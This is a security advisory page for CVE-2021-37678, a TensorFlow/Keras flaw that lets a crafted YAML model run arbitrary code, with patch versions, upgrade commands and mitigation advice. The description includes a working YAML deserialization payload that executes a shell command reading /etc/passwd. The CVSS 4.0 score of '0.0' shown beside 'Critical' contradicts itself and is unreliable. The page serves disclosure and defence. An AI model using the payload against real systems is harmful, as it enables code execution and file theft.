GHSA-r6jx-9g48-2r5r BIT-tensorflow-2021-37678 CVE-2021-37678 PYSEC-2021-300 PYSEC-2021-591 PYSEC-2021-789
Arbitrary code execution due to YAML deserialization
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.45%
- Chance of exploitation in the next 30 days. Higher than 38.91% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-502 Deserialization of Untrusted Data
- Fix
- Available
- 3 packages have a fixed version
Description
Impact
TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.
from tensorflow.keras import models
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
models.model_from_yaml(payload)
The implementation uses yaml.unsafe_load which can perform arbitrary code execution on the input.
Patches
Given that YAML format support requires a significant amount of work, we have removed it for now.
We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Arjun Shibu.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| tensorflow | < 2.3.4 |
2.3.4 |
| tensorflow | >= 2.4.0, < 2.4.3 |
2.4.3 |
| tensorflow | >= 2.5.0, < 2.5.1 |
2.5.1 |
| tensorflow | >= 2.3.0, < 2.3.4>= 2.4.0, < 2.4.3 |
2.3.42.4.3 |
| tensorflow-cpu | < 2.3.4 |
2.3.4 |
| tensorflow-cpu | >= 2.4.0, < 2.4.3 |
2.4.3 |
| tensorflow-cpu | >= 2.5.0, < 2.5.1 |
2.5.1 |
| tensorflow-cpu | >= 2.3.0, < 2.3.4>= 2.4.0, < 2.4.3 |
2.3.42.4.3 |
| tensorflow-gpu | < 2.3.4 |
2.3.4 |
| tensorflow-gpu | >= 2.4.0, < 2.4.3 |
2.4.3 |
| tensorflow-gpu | >= 2.5.0, < 2.5.1 |
2.5.1 |
| tensorflow-gpu | >= 2.3.0, < 2.3.4>= 2.4.0, < 2.4.3 |
2.3.42.4.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tensorflow PyPI → 2.3.4
- pip
pip install --upgrade "tensorflow>=2.3.4"- poetry
poetry add "tensorflow>=2.3.4"- uv
uv add "tensorflow>=2.3.4"
tensorflow-cpu PyPI → 2.3.4
- pip
pip install --upgrade "tensorflow-cpu>=2.3.4"- poetry
poetry add "tensorflow-cpu>=2.3.4"- uv
uv add "tensorflow-cpu>=2.3.4"
tensorflow-gpu PyPI → 2.3.4
- pip
pip install --upgrade "tensorflow-gpu>=2.3.4"- poetry
poetry add "tensorflow-gpu>=2.3.4"- uv
uv add "tensorflow-gpu>=2.3.4"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Local
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.3
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-502: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How to prevent it
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Implementation: Explicitly define a final object() to prevent deserialization.
- Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
- Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
- Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Advisories
Packages
Other links
- github.com/tensorflow/tensorflow/security/advisories/GHSA-r6jx-9g48-2r5r
- github.com/tensorflow/tensorflow/commit/1df5a69e9f1a18a937e7907223066e606bf466b9
- github.com/tensorflow/tensorflow/commit/23d6383eb6c14084a8fc3bdf164043b974818012
- github.com/tensorflow/tensorflow/commit/8e47a685785bef8f81bcb996048921dfde08a9ab
- github.com/tensorflow/tensorflow/commit/a09ab4e77afdcc6e1e045c9d41d5edab63aafc1a
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-591…
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-789…
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-300.yaml
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-gjh7-xx4r-x345 TensorFlow has segfault in array_ops.upper_bound | High | Also affects tensorflow |
| GHSA-fxgc-95xx-grvq TensorFlow Denial of Service vulnerability | Medium | Also affects tensorflow |
| GHSA-93vr-9q9m-pj8p TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch | High | Also affects tensorflow |
| GHSA-qjqc-vqcf-5qvj TensorFlow vulnerable to seg fault in `tf.raw_ops.Print` | High | Also affects tensorflow |
| GHSA-7jvm-xxmr-v5cw TensorFlow vulnerable to integer overflow in EditDistance | High | Also affects tensorflow |
| GHSA-64jg-wjww-7c5w TensorFlow has Null Pointer Error in TensorArrayConcatV2 | High | Also affects tensorflow |
| GHSA-6hg6-5c2q-7rcr TensorFlow has Heap-buffer-overflow in AvgPoolGrad | High | Also affects tensorflow |
| GHSA-558h-mq8x-7q9g TensorFlow has Null Pointer Error in SparseSparseMaximum | High | Also affects tensorflow |
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